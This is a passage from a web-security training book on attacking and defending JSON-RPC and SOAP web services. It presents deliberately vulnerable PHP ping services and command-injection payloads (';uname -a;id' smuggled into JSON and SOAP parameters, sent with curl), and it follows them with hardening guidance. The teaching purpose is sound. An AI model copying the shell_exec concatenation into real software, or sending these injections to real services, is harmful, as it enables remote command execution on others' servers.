$smd = $server->getServiceMap();// Grab the SMD: Provide information
on how to use this service
header('Content-Type: application/json');
echo $smd;// Return the SMD to the client
exit(0);//SMD sent to client, exit
}

$server->handle(); //Returns the response for each JSON-RPC request

The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically.

13 http://framework.zend.com/manual/2.2/en/modules/zend.json.server.html

WEB SERVICES - JSON-RPC BASICS 20


P W D / P R A C T I C A L W E B D E F E N S E

We can verify sending a JSON-RPC request as follows:

curl http://example.com/web_services/json_rpc/ping_server.php --data


'{"method": "Ping", "params": ["www.google.com", "1"], "id": 1}'

The JSON-RPC id parameter (i.e. "id": 1 in our examples) intends to help the client sort
the responses since they are not guaranteed to be returned in order, please see the
following resources for more information on JSON-RPC ids:
• JSON-RPC - What is the “id” for?
http://stackoverflow.com/questions/2210791/json-rpc-what-is-the-id-for
• JSON-RPC 2.0 specification
http://www.jsonrpc.org/specification
The JSON-RPC web service returns the following JSON-RPC response:

{"result":"PING www.google.com (212.191.236.101) 56(84) bytes of


data.\n64 bytes from 212.191.236.101: icmp_req=1 ttl=128 time=4.62
ms\n\n--- www.google.com ping statistics ---\n1 packets transmitted, 1
received, 0% packet loss, time 0ms\nrtt min\/avg\/max\/mdev =
4.623\/4.623\/4.623\/0.000 ms\n","id":"1"}

2.3 Fingerprinting JSON-RPC web services


An attacker without knowledge of the JSON-RPC web service may enumerate and
fingerprint the available JSON-RPC functionality observing the web application (i.e. if the
web service is consumed by the web app) and/or triggering (or searching in search engines
for) JSON-RPC errors or responses.
In our example, if we send an empty POST HTTP request, the response from a JSON-
RPC web service will show a characteristic JSON-RPC error:

curl http://example.com/web_services/json_rpc/ping_server.php --data ''

Returns:

{"error":{"code":-32600,"message":"Invalid
Request","data":null},"id":null}

In addition to this, most JSON-RPC web services will provide information about the
functionality available when they receive a GET HTTP request. In our example, a GET
HTTP request to our JSON-RPC web service will provide information about the Ping
functionality as well as the parameters available and their expected data types.

WEB SERVICES - JSON-RPC BASICS 21


P W D / P R A C T I C A L W E B D E F E N S E

This is called “Service Mapping Description” (SMD)14, which is not a standard but is
implemented by some JSON-RPC web services15.
Example GET HTTP request:

curl http://example.com/web_services/json_rpc/ping_server.php

Returns:

{"transport":"POST","envelope":"JSON-RPC-
2.0","contentType":"application\/json","SMDVersion":"2.0","target":"ping
_server.php","services":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}},"methods":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}}}

2.4 Attacking JSON-RPC web services


Since web services are meant to provide inter-operability between applications, it should
be no surprise that JSON-RPC web services can also be consumed directly by any
other tool capable of sending JSON-RPC requests. We will illustrate this using curl.
The following JSON-RPC request illustrates normal usage of our example JSON-RPC
web service:

curl http://example.com/web_services/json_rpc/ping_server.php --data


'{"method": "Ping", "params": ["www.google.com", "1"], "id": 1}'

This returns the following JSON-RPC response, which shows the shell command output
of a single ping sent to the specified host www.google.com:

{"result":"PING www.google.com (212.191.236.95) 56(84) bytes of


data.\n64 bytes from 212.191.236.95: icmp_req=1 ttl=128 time=4.64
ms\n\n--- www.google.com ping statistics ---\n1 packets transmitted, 1
received, 0% packet loss, time 0ms\nrtt min\/avg\/max\/mdev =
4.642\/4.642\/4.642\/0.000 ms\n","id":"1"}

Attacking JSON-RPC web services is simply a matter of tampering user input to


verify if the web service miss-behaves.

14 https://dojotoolkit.org/reference-guide/1.9/dojox/rpc/smd.html
15 https://groups.google.com/forum/#!topic/json-schema/Gn3T4HFye8w

WEB SERVICES - JSON-RPC BASICS 22


P W D / P R A C T I C A L W E B D E F E N S E

In our example, since the host and even the number of packets are not escaped, we can
use the “;” shell character to terminate the ping command and run arbitrary commands,
for example “uname -a”, “uptime” and “id”. For example:

curl http://example.com/web_services/json_rpc/ping_server.php --data


'{"method": "Ping", "params": ["www.google.com;uname -a;id",
"1;uptime"], "id": 1}'

Or also (there are many more options, but you get the idea):

curl http://example.com/web_services/json_rpc/ping_server.php --data


'{"method": "Ping", "params": ["www.google.com", "1;uptime;uname -a;id
#"], "id": 1}

Let us have a look at the previous vulnerable code snippet:

return shell_exec("ping -c" . $num_packets . " " . $host);//Command


Injection here!

The following table illustrates how the command changes based on the user input
provided:

$num_packets $host Final command

2 www.google.com ping -c 2 www.google.com

1;uptime www.google.com;uname ping -c 1;uptime


-a;uptime www.google.com;uname -a;id

1;uptime;uname - www.google.com ping -c 1;uptime;uname -a;id #


a;id # www.google.com

This is slightly different from the attack used in the XML-RPC section and demonstrates
that the attacker does not need to build a valid ping command.
The first attack results in the following command being executed:

ping -c 1;uptime www.google.com;uname -a;id

The following is a breakdown of what happens:


1. A ping error can be found in the web server logs (“ping -c 1” is an invalid ping
command)

Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]


[-p pattern] [-s packetsize] [-t ttl] [-I interface]
[-M pmtudisc-hint] [-m mark] [-S sndbuf]
[-T tstamp-options] [-Q tos] [hop1 ...] destination

WEB SERVICES - JSON-RPC BASICS 23


P W D / P R A C T I C A L W E B D E F E N S E

2. “uptime www.google.com” is OK
uptime will simply ignore www.google.com.
3. “uname-a” and “id” work as expected
The second attack results in the following command being executed. The difference is that
in this case the “#” symbol with make the command ignore “www.google.com” part of
the command:

ping -c 1;uptime;uname -a;id # www.google.com

This proves that our JSON-RPC web service is vulnerable to command injection as can be
seen in the JSON-RPC response:

{"result":" 13:06:47 up 6 days, 19:28, 14 users, load average: 0.01,


0.05, 0.05\nLinux k 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686
GNU\/Linux\nuid=33(www-data) gid=33(www-data) groups=33(www-
data)\n","id":"1"}

This illustrates how user input processing may introduce security issues in JSON-RPC web
services similar to those in web applications.

2.5 JSON-RPC defense guidelines


The following guidelines should facilitate defense of JSON-RPC web services:
1. If possible, do not provide a JSON-RPC SMD in production
Not providing a JSON-RPC SMD in production will make it more difficult to find
and attack the functionality of the JSON-RPC web service. This can be achieved
via environment constants, typically named something like
“IS_DEV_ENVIRONMENT” as illustrated in the following example:

define('IS_DEV_ENVIRONMENT', false); //SMD only available in Development


if (IS_DEV_ENVIRONMENT && 'GET' == $_SERVER['REQUEST_METHOD']) {
// Indicate the URL endpoint, and the JSON-RPC version used:
$server->setTarget('ping_server.php')
->setEnvelope(Zend\Json\Server\Smd::ENV_JSONRPC_2);
$smd = $server->getServiceMap();// Grab the SMD
header('Content-Type: application/json');
echo $smd;// Return the SMD to the client
exit(0);//SMD sent to client, exit
}

Now the JSON-RPC web service will return significantly less information when it
receives an HTTP GET request:

curl http://example.com/web_services/json_rpc/ping_server.php

WEB SERVICES - JSON-RPC BASICS 24


P W D / P R A C T I C A L W E B D E F E N S E

Returns now:

{"error":{"code":-32600,"message":"Invalid
Request","data":null},"id":null}

Let us compare this with the previous SMD information:

curl http://example.com/web_services/json_rpc/ping_server.php

Returned before:

{"transport":"POST","envelope":"JSON-RPC-
2.0","contentType":"application\/json","SMDVersion":"2.0","target":"ping
_server.php","services":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}},"methods":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}}}

2. If possible, implement IP-filtering


In many cases, web services are only meant to be available from a very limited
number of trusted hosts, when this is the case, all requests coming from untrusted
IPs should be rejected. Adding the following to the top of our example
implements this:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}

3. If possible, enforce authentication


For cases when the web service requires authentication, such as when the web
service is only intended to be used by a web application hosted on the same
domain, authentication should be enforced, for example:

session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}

VERY IMPORTANT: In this scenario, you should possibly consider anti-


CSRF defenses too (especially in situations where data is modified).

WEB SERVICES - JSON-RPC BASICS 25


P W D / P R A C T I C A L W E B D E F E N S E

4. If possible, enforce SSL


SSL will provide confidentiality and integrity of communications to and from the
web service, for this reason, SSL should always be used to protect data in transit,
especially when the data being received by or sent from the web service is
sensitive.
5. Use the most limited JSON-RPC data type for what you need
JSON-RPC allows to define data-types, this can be leveraged to limit potential for
some attacks, in our example $num_packets should be an JSON-RPC integer, not
an JSON-RPC string, this will prevent command injection on that parameter. We
can instruct Zend Framework to use the “int” JSON-RPC data type for the
$num_packets parameter via type-hinting:

* @param int $num_packets

IMPORTANT: Using Zend Framework in PHP this will not solve anything, but in
other platforms with more strict data-types (or libraries that enforce the JSON-
RPC data-types) it might.
6. Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:

public function Ping($host, $num_packets) {//Insecure ping


//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';
}

If a white-list of allowed values is not possible, the next best is a white-list of


allowed characters, we can validate these using regular expressions:

public function Ping($host, $num_packets) {//Insecure ping


//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}

7. If user input can be explicitly separated from instructions, do it


In this rule, we are trying to avoid injection attacks, this will depend on what the
web service uses user input for: A SQL query should use bind variables, user input
rendered on HTML should use XSS defenses, etc. In our example, we should use

WEB SERVICES - JSON-RPC BASICS 26


P W D / P R A C T I C A L W E B D E F E N S E

the most aggressive platform function available to mitigate command injection (i.e.
“escapeshellarg” in PHP):

return shell_exec("ping -c" . escapeshellarg($num_packets) . " " .


escapeshellarg($host));

8. Put it all together


NOTE: In the real world, if you can use a white-list of values you will probably
not need to validate data against a list of white-listed characters as well. This being
said, redundant security controls do have their place: If somebody comments
or deletes a security control by mistake in a future development phase, the
remaining security controls will hopefully provide enough protection to prevent
exploitation of the vulnerability.
Defenses work best when combined together, the following is our no longer
vulnerable ping JSON-RPC web service implementing most of the defenses
described here:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us

class Pinger {//dummy class to ping a host


/**
* Pings a $host using $num_packets and returns the command result
*
* @param string $host
* @param int $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//Secure ping
//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';
}
//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}
return shell_exec("ping -c" . escapeshellarg($num_packets) .
" " . escapeshellarg($host));

WEB SERVICES - JSON-RPC BASICS 27


P W D / P R A C T I C A L W E B D E F E N S E

}
}

$server = new Zend\Json\Server\Server();//Instantiates the Zend


Framework JSON-RPC server
$server->setClass('Pinger');//Maps our Pinger class to handle JSON-RPC
requests
define('IS_DEV_ENVIRONMENT', false);//SMD only available in Development
if (IS_DEV_ENVIRONMENT && 'GET' == $_SERVER['REQUEST_METHOD']) {
// Indicate the URL endpoint, and the JSON-RPC version used:
$server->setTarget('ping_server.php')
->setEnvelope(Zend\Json\Server\Smd::ENV_JSONRPC_2);
$smd = $server->getServiceMap();// Grab the SMD
header('Content-Type: application/json');
echo $smd;// Return the SMD to the client
exit(0);//SMD sent to client, exit
}
$server->handle(); //Returns the response for each JSON-RPC request

Our example ping JSON-RPC web service remains working as expected but is no
longer vulnerable to command injection.
Please note that unlike our previous XML-RPC example, the JSON-RPC request
does not need to be altered to cater for the int data type. The following JSON-
RPC requests illustrate how the JSON-RPC web service keeps working as
expected while no longer being vulnerable to command injection.
The following illustrates how the web service behaves after implementing the
security controls:
Blocked attack example:

curl http://example.com/web_services/json_rpc/ping_server.php --data


'{"method": "Ping", "params": ["www.google.com;uname -a;id",
"1;uptime"], "id": 1}'

Returns:

{"result":"host or number of packets not allowed, sorry","id":"1"}

Intended functionality example:

curl http://example.com/web_services/json_rpc/ping_server2.php --data


'{"method": "Ping", "params": ["www.google.com", "1"], "id": 1}'

WEB SERVICES - JSON-RPC BASICS 28


P W D / P R A C T I C A L W E B D E F E N S E

Returns:

{"result":"PING www.google.com (212.191.236.88) 56(84) bytes of


data.\n64 bytes from 212.191.236.88: icmp_req=1 ttl=128 time=4.88
ms\n\n--- www.google.com ping statistics ---\n1 packets transmitted, 1
received, 0% packet loss, time 0ms\nrtt min\/avg\/max\/mdev =
4.885\/4.885\/4.885\/0.000 ms\n","id":"1"}

WEB SERVICES - JSON-RPC BASICS 29


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

3
3. SOAP BASICS

3.1 Introduction
In case you are unfamiliar with SOAP web services, in this section we will briefly illustrate
how SOAP web services work.
For simplicity reasons, we will use the zend-soap module from Zend Framework16.
In most Linux distributions, you can automatically get the dependencies for zend-soap as
follows (this allows you to use zend-soap without having a Zend Framework web
application):

echo "127.0.0.1 example.com" >> /etc/hosts # Set example.com to


localhost (if you didn't before)
mkdir -p /var/www/web_services/soap # Prepare the expected directory for
the example
cd /var/www/web_services/soap # Install dependencies in the right
directory
curl -s https://getcomposer.org/installer | php
./composer.phar require zendframework/zend-soap:2.2.4

3.2 Basic SOAP usage


WARNING: We are showing you the same command injection vulnerability for all major
web service types so that you can compare the similarities and differences between web
service types more easily. However, please remember that any vulnerability is
possible in the real world (this will depend on what user input is used for in most
cases), not just command injection. For example, we will see replay, file upload and
XXE vulnerabilities –which can also affect all web service types- later in this chapter.

16 http://framework.zend.com

WEB SERVICES - SOAP BASICS 30


P W D / P R A C T I C A L W E B D E F E N S E

After dependencies are sorted, we can create a very simple vulnerable SOAP web service
called “ping_server.php” like this:

<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
$URL = "http://example.com/web_services/soap/ping_server.php";//URL for
this script
$WSDL_URL = $URL . '?wsdl';//URL where the WSDL is

class Pinger {//dummy class to ping a host


//IMPORTANT: Zend Framework follows type-hinting in PHP comments
for SOAP17
/**
* Pings a $host using $num_packets and returns the command
result
*
* @param string $host
* @param string $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//Insecure ping
return shell_exec("ping -c" . $num_packets . " " .
$host);//Command Injection here!
}
}

if (isset($_GET['wsdl'])) {//Provide WSDL declaration for this SOAP Web


Service
$wsdl = new Zend\Soap\AutoDiscover();//This generates the WSDL
for us
$wsdl->setClass('Pinger')
->setUri($URL)
->setServiceName('Ping');
$wsdl->handle();
}
else {//Provide the SOAP Web Service functionality
$server = new Zend\Soap\Server($WSDL_URL);//Instantiates the
Zend Framework SOAP server
$server->setClass('Pinger');//Maps our vulnerable Pinger class
to handle SOAP requests
$server->handle();//Returns the response for each SOAP request
}

The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically. We can verify this using a SOAP client,
also provided by Zend Framework, saving the following in a file called ping_client.php:

17 http://framework.zend.com/manual/2.2/en/modules/zend.soap.auto-discovery.html

WEB SERVICES - SOAP BASICS 31


P W D / P R A C T I C A L W E B D E F E N S E

<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/ping_server.php?w
sdl');
echo $client->Ping('www.google.com', '2');

We can easily invoke the SOAP client using PHP from the command line to verify that
the SOAP web service is being consumed correctly (i.e. 2 ping packets are sent to
www.google.com):

php ping_client.php

Returns:

PING www.google.com (212.191.236.113) 56(84) bytes of data.


64 bytes from 212.191.236.113: icmp_req=1 ttl=128 time=4.84 ms
64 bytes from 212.191.236.113: icmp_req=2 ttl=128 time=5.20 ms

--- www.google.com ping statistics ---


2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 4.841/5.020/5.200/0.192 ms

3.3 Fingerprinting SOAP web services


An attacker without knowledge of the SOAP web service may enumerate and fingerprint
the available SOAP functionality as follows:

Finding SOAP web services

SOAP web services may be found observing the web application (i.e. if the web service is
consumed by the web app) and/or triggering (or searching in search engines for) SOAP
errors, responses and WSDL declarations (i.e. “site:target.com inurl:wsdl”). In our
example, if we send an empty GET or POST HTTP request the response from a SOAP
web service will show a characteristic SOAP response:
Empty POST request example:

curl http://example.com/web_services/soap/ping_server.php --data ''

WEB SERVICES - SOAP BASICS 32


P W D / P R A C T I C A L W E B D E F E N S E

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-
ENV:Fault><faultcode>Sender</faultcode><faultstring>Invalid
XML</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

GET request example:

curl http://example.com/web_services/soap/ping_server.php

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-
ENV:Fault><faultcode>Sender</faultcode><faultstring>Invalid
XML</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Enumerating available methods via WSDL

Once the SOAP web service has been identified, the next step is to figure out how to call
it. The Web Service Definition Language (WSDL) provides a description of all the
available functionality in the SOAP web service. In our example, the WSDL can be seen
adding “?wsdl” to the web service URL:

curl http://example.com/web_services/soap/ping_server.php?wsdl

Please note that although “?wsdl” is a common approach, there are other common
alternatives such as “?disco”.
This returns the following WSDL for our Ping SOAP web service (indented for
readability):

<?xml version="1.0" encoding="UTF-8"?>


<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soap-
enc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
xmlns:tns="http://example.com/web_services/soap/ping_server.php"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" name="Ping"
targetNamespace="http://example.com/web_services/soap/ping_server.php">
<types>
<xsd:schema
targetNamespace="http://example.com/web_services/soap/ping_server.php"
/>
</types>

WEB SERVICES - SOAP BASICS 33


P W D / P R A C T I C A L W E B D E F E N S E

<portType name="PingPort">
<operation name="Ping">
<documentation>Pings a $host using $num_packets and returns the
command result</documentation>
<input message="tns:PingIn" />
<output message="tns:PingOut" />
</operation>
</portType>
<binding name="PingBinding" type="tns:PingPort">
<soap:binding style="rpc"
transport="http://schemas.xmlsoap.org/soap/http" />
<operation name="Ping">
<soap:operation
soapAction="http://example.com/web_services/soap/ping_server.php#Ping"
/>
<input>
<soap:body use="encoded"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
namespace="http://example.com/web_services/soap/ping_server.php" />
</input>
<output>
<soap:body use="encoded"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
namespace="http://example.com/web_services/soap/ping_server.php" />
</output>
</operation>
</binding>
<service name="PingService">
<port name="PingPort" binding="tns:PingBinding">
<soap:address
location="http://example.com/web_services/soap/ping_server.php" />
</port>
</service>
<message name="PingIn">
<part name="host" type="xsd:string" />
<part name="num_packets" type="xsd:string" />
</message>
<message name="PingOut">
<part name="return" type="xsd:string" />
</message>
</definitions>

Because of their complexity, WSDL declarations are usually generated using automated
tools such as Zend\Soap\AutoDiscover18 in our example.
In addition to this, you may have noticed that our Zend Framework example references
the WSDL URL both on the client and the server:

Client (ping_client.php):

18 http://framework.zend.com/manual/2.2/en/modules/zend.soap.auto-discovery.html

WEB SERVICES - SOAP BASICS 34


P W D / P R A C T I C A L W E B D E F E N S E

$client = new
Zend\Soap\Client('http://example.com/web_services/soap/ping_server.php?w
sdl');

Server (ping_server.php):

$server = new Zend\Soap\Server($WSDL_URL);//Instantiates the


Zend Framework SOAP server

Therefore, both the client and the server are heavily relying on the following code snippet
on the server side (ping_server.php), which is generating the above WSDL:

if (isset($_GET['wsdl'])) {//Provide WSDL declaration for this SOAP Web


Service (the URL is '..?wsdl')
$wsdl = new Zend\Soap\AutoDiscover();//This generates the WSDL
for us
$wsdl->setClass('Pinger')
->setUri($URL)
->setServiceName('Ping');
$wsdl->handle();

WSDL declarations are therefore very important to facilitate calling SOAP web
services and some libraries might not work without them.

WEB SERVICES - SOAP BASICS 35


P W D / P R A C T I C A L W E B D E F E N S E

3.4 Attacking SOAP web services


Since web services are meant to provide inter-operability between applications, it should
be no surprise that SOAP web services can also be consumed directly by any other
tool capable of sending SOAP messages. We will illustrate this using curl. For
readability purposes we can first save the following SOAP message in a file called
“normal_ping.txt”:

<?xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"
xmlns:ns1="http://example.com/web_services/soap/ping_server.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<ns1:Ping env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding">
<host xsi:type="xsd:string">www.google.com</host>
<num_packets xsi:type="xsd:string">2</num_packets>
</ns1:Ping>
</env:Body>
</env:Envelope>

Using this file, our SOAP web service works as expected, showing the SOAP response of
a single ping to the specified host www.google.com:

curl http://example.com/web_services/soap/ping_server.php --data "$(cat


'normal_ping.txt')"

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:ns1="http://example.com/web_services/soap/ping_server.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"><env:Body
xmlns:rpc="http://www.w3.org/2003/05/soap-rpc"><ns1:PingResponse
env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding"><rpc:result>return</rpc:result><return
xsi:type="xsd:string">PING www.google.com (212.191.236.121) 56(84) bytes
of data.
64 bytes from 212.191.236.121: icmp_req=1 ttl=128 time=4.86 ms
64 bytes from 212.191.236.121: icmp_req=2 ttl=128 time=5.71 ms

--- www.google.com ping statistics ---


2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 4.864/5.289/5.714/0.425 ms
</return></ns1:PingResponse></env:Body></env:Envelope>

WEB SERVICES - SOAP BASICS 36


P W D / P R A C T I C A L W E B D E F E N S E

However, since the host and even the number of packets are not escaped, we can use the
“;” shell character to terminate the ping command and run arbitrary commands, for
example “uname -a”, “uptime” and “id”. To illustrate this we can create an alternative
SOAP payload in a new file called “evil_ping.txt”:
NOTE: This attack is similar to the one used in the JSON-RPC section and works for the
same reasons.

<?xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"
xmlns:ns1="http://example.com/web_services/soap/ping_server.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<ns1:Ping env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding">
<host xsi:type="xsd:string">www.google.com;uname -a;id</host>
<num_packets xsi:type="xsd:string">2;uptime</num_packets>
</ns1:Ping>
</env:Body>
</env:Envelope>

This evil payload can be sent trivially using curl as follows:

curl http://example.com/web_services/soap/ping_server.php --data "$(cat


'evil_ping.txt')"

This proves that our SOAP web service is vulnerable to command injection as can be seen
in the SOAP response:

<?xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:ns1="http://example.com/web_services/soap/ping_server.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"><env:Body
xmlns:rpc="http://www.w3.org/2003/05/soap-rpc"><ns1:PingResponse
env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding"><rpc:result>return</rpc:result><return xsi:type="xsd:string">
20:22:58 up 7 days, 2:44, 14 users, load average: 0.10, 0.07, 0.06
Linux k 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</return></ns1:PingResponse></env:Body></env:Envelope>

This illustrates how user input processing may introduce security issues in SOAP web
services similar to those in web applications.

WEB SERVICES - SOAP BASICS 37


P W D / P R A C T I C A L W E B D E F E N S E

3.5 SOAP defense guidelines


The following guidelines should facilitate defense of SOAP web services:
• If possible, do not provide a WSDL in production systems
IMPORTANT: This guideline is best for cases when the way to call the web
service is not publicly known (i.e. an open source project) and not shown by the
web application itself (i.e. scenario of a web application that consumes web
services from JavaScript).
If it is possible to consume the web service without providing a WSDL in
production, this option should be preferred since it decreases the visibility of the
web service and therefore it makes it less likely to be attacked.
Some libraries will just not work without a WSDL. However, in many cases, the
WSDL can be supplied as a non-publicly available file. In our example, this can be
achieved as follows:
Step 1: Obtain the WSDL and save it somewhere outside of the webroot directory
This makes the WSDL significantly more difficult to retrieve (i.e. access to the web
server is necessary), for example saving it to /home/www/ping_server.wsdl:

curl http://example.com/web_services/soap/ping_server.php?wsdl >


/home/www/ping_server.wsdl

Step 2: Disable WSDL generation in production


If we modify ping_server.php as in the following example, adding “?wsdl” to the
URL, will no longer provide the WSDL:

define('IS_DEV_ENVIRONMENT', false);
if (IS_DEV_ENVIRONMENT && isset($_GET['wsdl'])) {//Provide WSDL
declaration for this SOAP Web Service (the URL is '..?wsdl')

Step 3: Change the SOAP server so that it uses the WSDL file instead of the URL
Of course, the SOAP server now does no longer have a URL to retrieve the
WSDL from, but most libraries will allow to provide the WSDL from a file. The
following example loads a WSDL file from /home/www/ping_server.wsdl:

$server = new
Zend\Soap\Server('/home/www/ping_server.wsdl');//Instantiates the Zend
Framework SOAP server

Step 4: Change the SOAP client so that it uses the WSDL file instead of the URL
Finally, the SOAP client needs to be changed to load the WSDL file from the
filesystem instead of a URL.

WEB SERVICES - SOAP BASICS 38


P W D / P R A C T I C A L W E B D E F E N S E

The following example loads a WSDL file from


/home/www/ping_server.wsdl:

$client = new Zend\Soap\Client('/home/www/ping_server.wsdl');

NOTE: In the real world, you would probably have something like a
WSDL_LOCATION constant that is loaded from a configuration file.
• Disable DOCTYPE declarations OR use a framework that disables them
SOAP web services are based on XML messages and therefore must parse XML,
this means DOCTYPE attack vectors for XEE and XXE attacks exist.
Zend Framework removed support for DOCTYPE declarations in Zend_Soap in
2012 to solve this problem:
o Security Advisory
ZF2012-02: Denial of Service vector via XEE injection
http://framework.zend.com/security/advisory/ZF2012-02
• If possible, implement IP-filtering
In many cases, web services are only meant to be available from a very limited
number of trusted hosts, when this is the case, all requests coming from untrusted
IPs should be rejected. Adding the following to the top of our example
implements this:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}

• If possible, enforce authentication


For cases when the web service requires authentication, such as when the web
service is only intended to be used by a web application hosted on the same
